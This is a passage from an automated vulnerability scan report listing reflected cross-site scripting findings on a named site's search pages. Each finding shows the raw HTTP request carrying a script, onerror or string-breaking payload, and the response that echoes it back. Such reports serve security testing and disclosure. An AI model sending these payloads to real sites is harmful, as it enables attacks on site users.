Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:36:36 GMT
Date: Thu, 10 Mar 2011 17:06:37 GMT
Content-Length: 29830
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Cleaning?a6f5c"><script>alert(1)</script>b89302645aa=1" title="Register" class="moreLink">
...[SNIP]...

2.218. http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Food+Safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 277af"><a>8d28733de5d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search277af"><a>8d28733de5d/google_appliance/Food+Safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:23 GMT
Date: Thu, 10 Mar 2011 17:06:23 GMT
Content-Length: 22543
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search277af"><a>8d28733de5d search277af">
...[SNIP]...

2.219. http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Food+Safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d6851'><img%20src%3da%20onerror%3dalert(1)>5e137ae4ce5 was submitted in the REST URL parameter 2. This input was echoed as d6851'><img src=a onerror=alert(1)>5e137ae4ce5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_applianced6851'><img%20src%3da%20onerror%3dalert(1)>5e137ae4ce5/Food+Safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:12 GMT
Date: Thu, 10 Mar 2011 17:07:12 GMT
Content-Length: 23251
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_applianced6851'><img src=a onerror=alert(1)>5e137ae4ce5/Food+Safety?filter=prevention.com'>
...[SNIP]...

2.220. http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Food+Safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ddef1"><script>alert(1)</script>75438dccd68 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_applianceddef1"><script>alert(1)</script>75438dccd68/Food+Safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:59 GMT
Date: Thu, 10 Mar 2011 17:06:59 GMT
Content-Length: 21781
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_applianceddef1"><script>alert(1)</script>75438dccd68/Food+Safety" class="filters dottedLine">
...[SNIP]...

2.221. http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Food+Safety

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2c24"><script>alert(1)</script>167bea939b0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Food+Safetya2c24"><script>alert(1)</script>167bea939b0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:15 GMT
Date: Thu, 10 Mar 2011 17:07:15 GMT
Content-Length: 21900
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Food+Safetya2c24"><script>alert(1)</script>167bea939b0" title="Register" class="moreLink">
...[SNIP]...

2.222. http://www.rodale.com/search/google_appliance/Food+Safety [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Food+Safety

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad9b2'%3b442b5d24e67 was submitted in the REST URL parameter 3. This input was echoed as ad9b2';442b5d24e67 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Food+Safetyad9b2'%3b442b5d24e67 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:17 GMT
Date: Thu, 10 Mar 2011 17:07:17 GMT
Content-Length: 21689
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
r axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Food Safetyad9b2';442b5d24e67';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.223. http://www.rodale.com/search/google_appliance/Food+Safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Food+Safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c690"><script>alert(1)</script>53cd1ab310e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Food+Safety?3c690"><script>alert(1)</script>53cd1ab310e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:21 GMT
Date: Thu, 10 Mar 2011 17:06:21 GMT
Content-Length: 29286
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Food+Safety?3c690"><script>alert(1)</script>53cd1ab310e=1" title="Register" class="moreLink">
...[SNIP]...

2.224. http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Food

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51bdf"><a>bd39bb05ab9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search51bdf"><a>bd39bb05ab9/google_appliance/Organic+Food HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:58 GMT
Date: Thu, 10 Mar 2011 17:06:58 GMT
Content-Length: 22545
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search51bdf"><a>bd39bb05ab9 search51bdf">
...[SNIP]...

2.225. http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Food

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84a55"><script>alert(1)</script>c95dc80ce64 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance84a55"><script>alert(1)</script>c95dc80ce64/Organic+Food HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:32 GMT
Date: Thu, 10 Mar 2011 17:07:32 GMT
Content-Length: 21787
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance84a55"><script>alert(1)</script>c95dc80ce64/Organic+Food" class="filters dottedLine">
...[SNIP]...

2.226. http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Food

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b7093'><img%20src%3da%20onerror%3dalert(1)>5c2e5a94174 was submitted in the REST URL parameter 2. This input was echoed as b7093'><img src=a onerror=alert(1)>5c2e5a94174 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_applianceb7093'><img%20src%3da%20onerror%3dalert(1)>5c2e5a94174/Organic+Food HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:45 GMT
Date: Thu, 10 Mar 2011 17:07:45 GMT
Content-Length: 23269
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_applianceb7093'><img src=a onerror=alert(1)>5c2e5a94174/Organic+Food?filter=prevention.com'>
...[SNIP]...

2.227. http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Food

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cf3b"><script>alert(1)</script>8430bff296c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Organic+Food3cf3b"><script>alert(1)</script>8430bff296c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:48 GMT
Date: Thu, 10 Mar 2011 17:07:48 GMT
Content-Length: 21908
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Organic+Food3cf3b"><script>alert(1)</script>8430bff296c" title="Register" class="moreLink">
...[SNIP]...

2.228. http://www.rodale.com/search/google_appliance/Organic+Food [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Food

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8fc72'%3bf703b4bd471 was submitted in the REST URL parameter 3. This input was echoed as 8fc72';f703b4bd471 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Organic+Food8fc72'%3bf703b4bd471 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:50 GMT
Date: Thu, 10 Mar 2011 17:07:50 GMT
Content-Length: 21697
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Organic Food8fc72';f703b4bd471';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.229. http://www.rodale.com/search/google_appliance/Organic+Food [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Food

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b9b2"><script>alert(1)</script>b607d839e19 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Organic+Food?2b9b2"><script>alert(1)</script>b607d839e19=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:55 GMT
Date: Thu, 10 Mar 2011 17:06:55 GMT
Content-Length: 29277
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Organic+Food?2b9b2"><script>alert(1)</script>b607d839e19=1" title="Register" class="moreLink">
...[SNIP]...

2.230. http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Gardening

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e504"><a>4bc8bf8dff7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search7e504"><a>4bc8bf8dff7/google_appliance/Organic+Gardening HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:36:26 GMT
Date: Thu, 10 Mar 2011 17:06:27 GMT
Content-Length: 22555
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search7e504"><a>4bc8bf8dff7 search7e504">
...[SNIP]...

2.231. http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Gardening

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 506a7'><img%20src%3da%20onerror%3dalert(1)>c24695b3a5 was submitted in the REST URL parameter 2. This input was echoed as 506a7'><img src=a onerror=alert(1)>c24695b3a5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_appliance506a7'><img%20src%3da%20onerror%3dalert(1)>c24695b3a5/Organic+Gardening HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:17 GMT
Date: Thu, 10 Mar 2011 17:07:17 GMT
Content-Length: 23337
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_appliance506a7'><img src=a onerror=alert(1)>c24695b3a5/Organic+Gardening?filter=prevention.com'>
...[SNIP]...

2.232. http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Gardening

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e289"><script>alert(1)</script>0f07ae123c1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance8e289"><script>alert(1)</script>0f07ae123c1/Organic+Gardening HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:04 GMT
Date: Thu, 10 Mar 2011 17:07:04 GMT
Content-Length: 21817
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance8e289"><script>alert(1)</script>0f07ae123c1/Organic+Gardening" class="filters dottedLine">
...[SNIP]...

2.233. http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Gardening

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb885"><script>alert(1)</script>ad161d969b5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Organic+Gardeningfb885"><script>alert(1)</script>ad161d969b5 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:20 GMT
Date: Thu, 10 Mar 2011 17:07:20 GMT
Content-Length: 21948
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Organic+Gardeningfb885"><script>alert(1)</script>ad161d969b5" title="Register" class="moreLink">
...[SNIP]...

2.234. http://www.rodale.com/search/google_appliance/Organic+Gardening [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Gardening

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6112c'%3b1ee427fd91a was submitted in the REST URL parameter 3. This input was echoed as 6112c';1ee427fd91a in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Organic+Gardening6112c'%3b1ee427fd91a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
